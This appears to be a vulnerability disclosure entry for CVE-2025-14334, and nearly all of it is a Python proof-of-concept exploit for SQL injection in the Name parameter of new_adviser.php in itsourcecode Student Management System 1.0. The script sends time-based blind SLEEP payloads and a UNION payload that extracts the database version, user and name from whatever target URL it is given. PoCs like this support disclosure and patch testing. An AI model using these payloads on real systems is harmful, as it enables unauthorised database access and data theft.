CVE-2025-14334 itsourcecode学生管理系统new_adviser.php文件Name参数SQL注入漏洞

import requests import sys # CVE-2025-14334 PoC - SQL Injection in itsourcecode Student Management System 1.0 # Target: /new_adviser.php, parameter: Name def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in new_adviser.php """ # Prepare the malicious payload params = { 'Name': payload } try: # Send POST request with SQL injection payload response = requests.post( target_url + '/new_adviser.php', data=params, timeout=30 ) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_blind_injection(target_url): """ Test for blind SQL injection using time-based technique """ # Time-based blind injection payload true_payload = "' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1" false_payload = "' AND (SELECT 1 FROM (SELECT SLEEP(0))x) AND '1'='1" print("[*] Testing blind SQL injection...") print(f"[*] True condition (should delay 5s): {true_payload}") # Execute true condition result_true = exploit_sql_injection(target_url, true_payload) print(f"[*] False condition (should respond quickly): {false_payload}") # Execute false condition result_false = exploit_sql_injection(target_url, false_payload) return result_true is not None and result_false is not None def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # UNION-based injection to extract database version union_payload = "' UNION SELECT NULL,version(),user(),database()-- -" print("[*] Extracting database information...") result = exploit_sql_injection(target_url, union_payload) if result: print("[*] Database info extracted successfully") return result if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/student-management-system") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-14334 SQL Injection PoC") print("=" * 50) # Test vulnerability test_blind_injection(target) # Extract database information extract_database_info(target)